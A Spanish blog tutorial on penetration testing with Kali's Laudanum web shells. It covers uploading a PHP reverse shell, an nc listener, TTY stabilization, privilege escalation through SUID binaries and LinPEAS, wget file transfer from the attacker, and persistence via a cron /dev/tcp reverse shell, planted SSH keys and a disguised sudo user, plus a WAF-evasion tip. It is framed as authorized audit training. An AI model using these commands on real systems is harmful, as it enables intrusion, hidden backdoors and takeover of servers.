Laudanum: Shells Inyectables en Kali Linux

https://www.onlinetis.com/es/

Laudanum: Shells Inyectables en Kali Linux

Hablemos de Laudanum. Básicamente, es una de esas "joyas ocultas" que vienen preinstaladas en Kali Linux y que pueden facilitarte mucho la vida durante un test de penetración si logras encontrar una vulnerabilidad de carga de archivos (File Upload).

¿Qué es Laudanum?

Laudanum es una colección de archivos inyectables (shells y scripts) diseñados para ser utilizados una vez que tienes acceso a la capacidad de subir archivos a un servidor web, pero aún no tienes una shell completa.

A diferencia de herramientas más complejas, estos scripts están optimizados para saltarse restricciones comunes y darte un "pie en la puerta" rápido.

¿Dónde encontrarlo en Kali Linux?

No necesitas descargar nada; ya está en tu sistema. Puedes encontrar la colección en la siguiente ruta:

/usr/share/laudanum/

Si exploras esa carpeta, verás subdirectorios organizados por lenguaje:

php: Para servidores web estándar (como WordPress o sitios en PHP).
asp / aspx: Para servidores Windows (IIS).
jsp: Para aplicaciones Java.
cfm: Para ColdFusion.

¿Cómo se usa? (Escenario Típico)

Imagina que estás auditando una web y encuentras un formulario de "Subir foto de perfil" que no valida bien las extensiones.

Copia el archivo: No edites el original en /usr/share/. Copia el script que necesites (ej. php/shell.php) a tu carpeta de trabajo.
Configura el acceso: Muchos archivos de Laudanum vienen con una restricción de IP por seguridad (para que nadie más use tu shell). Debes abrir el archivo y cambiar la dirección IP permitida por la tuya.
Sube el archivo: Envías el script al servidor vulnerable.
Ejecuta: Accedes a la URL donde se guardó el archivo (ej. http://victima.com/uploads/shell.php).
Toma el control: Desde la interfaz web que aparece, puedes ejecutar comandos del sistema o intentar una conexión reversa.

¿Por qué usar Laudanum y no una WebShell común?

Ligereza: Son archivos pequeños y directos.
Variedad: Cubre lenguajes que a veces olvidamos, como ColdFusion o JSP.
Seguridad: Al incluir validación de IP de origen, evitas que el administrador del sitio (o un tercero) use tu propio exploit contra ti mientras trabajas.

[!IMPORTANT]
Nota de seguridad: Recuerda que usar estas herramientas en sistemas sin autorización previa es ilegal. Úsalas solo en entornos controlados o auditorías éticas autorizadas.

Vamos a centrarnos en el archivo PHP, que es el más común. La idea es transformar una vulnerabilidad de File Upload en una consola interactiva.

Aquí tienes los pasos detallados para preparar y lanzar la shell:

1. Preparación del archivo

Primero, busca el archivo php-reverse-shell.php (o similar) dentro de la carpeta de Laudanum y cópialo a tu escritorio o carpeta de proyectos:

Bash

cp /usr/share/laudanum/php/php-reverse-shell.php ~/Desktop/mishell.php

2. Modificación del Script

Debes editar el archivo para que sepa a dónde debe "llamar" de vuelta. Abre el archivo con nano o tu editor favorito:

IP Address: Cambia la IP por la de tu máquina atacante (tu IP en la red local o VPN).
Port: Elige un puerto que no esté en uso, por ejemplo, el 4444.

3. Preparar la escucha (Listener)

Antes de ejecutar el archivo en el servidor, necesitas que tu máquina Kali esté "escuchando" esa conexión entrante. Usa Netcat en una terminal:

Bash

nc -lvnp 4444

-l: Listen (escuchar).
-v: Verbose (para ver qué pasa).
-n: No DNS (más rápido).
-p: Port (el puerto que pusiste en el script).

4. Subida y Ejecución

Sube mishell.php a través del formulario vulnerable de la web.
Navega con tu navegador a la ubicación del archivo subido: http://objetivo.com/uploads/mishell.php.
En cuanto cargues la página, verás que en tu terminal de Netcat aparece un mensaje confirmando la conexión.

¿Qué obtienes al final?

Una vez establecida la conexión, tendrás acceso a la línea de comandos del servidor con los permisos del usuario que corre el servicio web (usualmente www-data).

[!TIP]
Dato curioso: Muchos WAF (Firewalls de Aplicaciones Web) modernos detectan la firma de los archivos de Laudanum porque son muy conocidos. A veces, cambiar el nombre de las variables dentro del código PHP ayuda a evadir estas detecciones básicas.

Una vez que recibes esa primera conexión con Netcat, notarás que la shell es un poco "tosca": no puedes usar las flechas del teclado, no hay autocompletado con Tab y si presionas Ctrl+C por accidente, pierdes la conexión por completo.

A esto se le llama una "dumb shell". Para convertirla en una terminal real y estable (TTY), el método más rápido y efectivo es usar Python.

Pasos para estabilizar la Shell

Sigue estos comandos en orden dentro de la ventana de Netcat donde recibiste la conexión:

1. Invocar el PTY de Python

Casi todos los servidores Linux tienen Python instalado. Prueba con uno de estos dos:

Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Si no funciona, intenta con python normal:
python -c 'import pty; pty.spawn("/bin/bash")'

2. Suspender y configurar el terminal (Paso crítico)

Ahora necesitas decirle a tu propia máquina Kali que pase el control total a la shell remota:

Presiona Ctrl + Z (esto enviará la shell al fondo/background).
Escribe en tu terminal de Kali: stty raw -echo; fg y presiona Enter.
Escribe reset y presiona Enter.

[!NOTE]
Al escribir stty raw -echo, parecerá que no estás escribiendo nada, pero el comando se está ejecutando. Al darle a fg (foreground), la shell volverá al frente.

3. Configurar variables de entorno

Para que comandos como clear o editores de texto como nano funcionen correctamente, ejecuta esto dentro de la shell ya estabilizada:

Bash

export TERM=xterm
export SHELL=bash

¿Qué has logrado con esto?

Autocompletado: Ya puedes usar la tecla Tab.
Historial: Puedes usar las flechas arriba/abajo para ver comandos anteriores.
Interactividad: Puedes usar programas que requieren una interfaz visual en terminal (como top, nano o vim).

¿Cuál es el siguiente paso lógico?

Ahora que tienes una shell estable como el usuario web (por ejemplo, www-data), el objetivo suele ser escalar privilegios para convertirte en root.

Una vez que tienes una shell estable, el siguiente objetivo en un test de penetración es la Escalación de Privilegios. Básicamente, quieres pasar de ser un usuario limitado (como www-data o apache) a ser el usuario supremo: root.

Aquí tienes una "hoja de ruta" de lo primero que deberías revisar manualmente:

1. Información del Sistema y Kernel

A veces el sistema operativo es antiguo y tiene vulnerabilidades conocidas (exploits de kernel).

Comando: uname -a o cat /etc/os-release
Qué buscar: Versiones específicas de Ubuntu, Debian o CentOS que tengan CVEs famosos como Dirty Pipe o PwnKit.

2. Archivos con Permisos SUID

Estos son archivos que se ejecutan con los permisos del propietario (que suele ser root) en lugar de los permisos del usuario que los lanza. Si uno de estos archivos tiene un fallo o permite ejecutar comandos, eres root.

Comando para buscarlos:
Bash
```
find / -perm -u=s -type f 2>/dev/null
```
Referencia obligatoria: Si encuentras un binario extraño, búscalo en GTFOBins. Te dirá exactamente qué comandos usar para "romper" la seguridad de ese archivo.

3. Tareas Programadas (Cron Jobs)

A veces el administrador programa scripts para que se ejecuten cada minuto como root. Si tienes permisos de escritura en ese script, puedes editarlo para que te devuelva una shell como root.

Comando: cat /etc/crontab
Qué buscar: Rutas de scripts que no estén protegidas o tareas que llamen a archivos que tú puedas modificar.

4. Contraseñas en archivos de configuración

Como entraste por una web, revisa los archivos de conexión a la base de datos. Los desarrolladores a menudo reutilizan la contraseña de la base de datos para el usuario del sistema o incluso para root.

Archivos típicos: config.php, settings.py, .env, wp-config.php.
Comando rápido: grep -i "password" *.php

Herramienta recomendada: LinPEAS

Si no quieres hacerlo todo a mano, hay un script maravilloso llamado LinPEAS. Lo subes al servidor, lo ejecutas y te marca en colores (el rojo/amarillo es "victoria casi segura") las posibles vías de escalación.

Lo descargas en tu Kali.
Lo pasas al servidor víctima (usando python3 -m http.server en tu Kali y wget en la víctima).
Lo ejecutas: chmod +x linpeas.sh && ./linpeas.sh.

Transferir archivos desde tu máquina Kali a la víctima es el "pan de cada día" en el post-exploitation. La forma más profesional y rápida de hacerlo es convirtiendo tu Kali en un servidor web temporal.

Aquí tienes el proceso estándar de 3 pasos:

1. Prepara el archivo en Kali

Supongamos que quieres pasar el script LinPEAS (para buscar vulnerabilidades de root automáticamente). Primero, asegúrate de tenerlo en una carpeta accesible en tu terminal de Kali.

Bash

# Entra en la carpeta donde tienes tus herramientas
cd /home/kali/tools/

2. Levanta el servidor en Kali (Atacante)

Python tiene un módulo integrado que crea un servidor web instantáneo en la carpeta donde estés parado. Ejecuta esto:

Bash

python3 -m http.server 80

80: Es el puerto (el estándar de HTTP). Si el puerto 80 está ocupado, puedes usar el 8080.
Nota: Deja esa terminal abierta; si la cierras, el servidor se apaga.

3. Descarga el archivo en la Víctima

Ahora, en la shell de la víctima (donde ya tienes acceso), usa el comando wget o curl para "traerte" el archivo. Necesitas saber la IP de tu Kali (puedes verla con ip a en otra terminal de Kali).

Bash
# Primero muévete a una carpeta donde tengas permiso de escritura (generalmente /tmp)
cd /tmp

# Descarga el archivo
wget http://TU_IP_DE_KALI/linpeas.sh

¿Qué pasa si `wget` o `curl` no están instalados?

A veces te encuentras con sistemas muy recortados. No entres en pánico, puedes usar otros métodos:

Con Netcat (NC):
- En la víctima: nc -l -p 1234 > archivo.sh (Se queda esperando).
- En Kali: nc TU_IP_VICTIMA 1234 < archivo.sh (Lo envía).
Con Python en la víctima: Si el servidor tiene Python, puedes usar un pequeño script de una línea para descargar el archivo.

Truco Pro: Permisos de ejecución

Recuerda que cuando descargas un script (como LinPEAS o una exploit en C), llega sin permisos de ejecución. Siempre debes darle permisos antes de lanzarlo:

Bash

chmod +x linpeas.sh
./linpeas.sh

¿Cuál es tu siguiente paso?

Ya sabes:

Usar Laudanum para entrar.
Estabilizar la shell.
Transferir herramientas de auditoría.

Cuando ejecutas LinPEAS, verás que lanza una cantidad enorme de texto en tu terminal. El truco para no volverse loco es entender su código de colores. LinPEAS está diseñado para que no tengas que leerlo todo, sino para que tus ojos busquen patrones específicos.

Aquí tienes la clave para interpretar los resultados:

1. El "Santo Grial": Rojo sobre Amarillo

Si ves un texto que aparece en rojo con fondo amarillo, detente inmediatamente.

Significado: Hay un 99% de probabilidades de que eso sea un camino directo a root.
Ejemplo común: Un binario SUID mal configurado o una vulnerabilidad de kernel conocida (como DirtyPipe o PwnKit).

2. Los otros colores

Rojo: Es una configuración muy interesante que deberías revisar. No es una victoria segura, pero es un punto débil claro.
Azul: Suelen ser procesos con privilegios, usuarios conectados o información del sistema que te da contexto.
Verde: Información común (versiones, rutas, etc.) que normalmente no es vulnerable.

¿En qué secciones fijarse primero?

LinPEAS organiza la información por categorías. Estas son las más críticas:

A. System Information (Información del Sistema)

Busca vulnerabilidades de Kernel. Si LinPEAS dice algo como [CVE-2021-4034] PwnKit, te dará incluso el enlace al exploit en GitHub. Solo tendrías que descargarlo en tu Kali, pasarlo a la víctima, compilarlo y ejecutarlo.

B. User Enumeration (Enumeración de Usuarios)

Revisa si hay archivos .bash_history que puedas leer. A veces los administradores escriben contraseñas en la terminal por error (ejemplo: mysql -u root -p123456). ¡LinPEAS te mostrará esas líneas encontradas!

C. Interesting Files (Archivos Interesantes)

Aquí es donde LinPEAS lista los archivos SUID.

Tu misión: Si ves un archivo en esta lista que no te suena (algo que no sea passwd o sudo), búscalo en GTFOBins. Si está ahí, ya tienes el método para ser root.

D. Password Hunting (Caza de Contraseñas)

Busca en archivos de configuración (/etc/, carpetas web, etc.) y en la memoria. LinPEAS resalta palabras clave como "password", "pwd" o "secret".

Ejemplo de "Victoria"

Si en la sección de SUID ves el binario /usr/bin/find resaltado, significa que puedes hacer esto para ser root:

Bash

find . -exec /bin/sh -p \; -quit

¡Y listo! Ya eres el administrador del sistema.

La persistencia es el arte de asegurarte de que, aunque el administrador del sitio borre tu shell de Laudanum o reinicie el servidor, tú sigues teniendo una forma de entrar. En un test de penetración real, esto es vital porque no quieres tener que explotar la vulnerabilidad de nuevo cada vez.

Aquí tienes tres métodos comunes, desde el más simple al más "profesional":

1. El Cron Job (El más común)

Puedes programar al servidor para que te envíe una shell cada hora, o cada vez que se reinicie.

Comando: (crontab -l ; echo "@reboot /bin/bash -c '/bin/bash -i >& /dev/tcp/TU_IP/4444 0>&1'") | crontab -
Qué hace: Añade una tarea al programador (cron) que, cada vez que el sistema arranque (@reboot), intenta conectarse a tu máquina Kali.

2. La clave SSH (El más limpio)

Si el servidor tiene el servicio SSH activo, este es el método más estable y difícil de detectar a simple vista.

En tu Kali: Generas un par de llaves: ssh-keygen -t rsa.
En la Víctima: Vas a la carpeta del usuario (ej. /home/usuario/.ssh/) y pegas tu clave pública (id_rsa.pub) dentro de un archivo llamado authorized_keys.
Resultado: Ahora puedes entrar por SSH sin contraseña: ssh usuario@ip-victima.

3. Usuario "fantasma" con privilegios

Si ya lograste ser root (usando LinPEAS y algún exploit), puedes crear un usuario nuevo que parezca inofensivo pero que tenga poder total.

Bash
# Crear un usuario llamado "sys_update" (para que pase desapercibido)
useradd -m -s /bin/bash sys_update
# Darle una contraseña
echo "sys_update:p4ssw0rd123" | chpasswd
# Meterlo al grupo de sudo (para que pueda ser root)
usermod -aG sudo sys_update

¿Cómo elegir el método?

Método	Visibilidad	Estabilidad	Requisito
Cron Job	Media	Alta	Tener una shell inicial
SSH Key	Baja	Muy Alta	Servicio SSH activo
Nuevo Usuario	Alta	Total	Ser Root

[!CAUTION]
Consejo de Auditor: En un entorno real, siempre documenta qué métodos de persistencia dejaste instalados para poder eliminarlos al finalizar la auditoría. Dejar una "puerta trasera" olvidada es un riesgo de seguridad grave para tu cliente.

Hemos cubierto todo el ciclo: Entrada -> Estabilización -> Escalación -> Persistencia.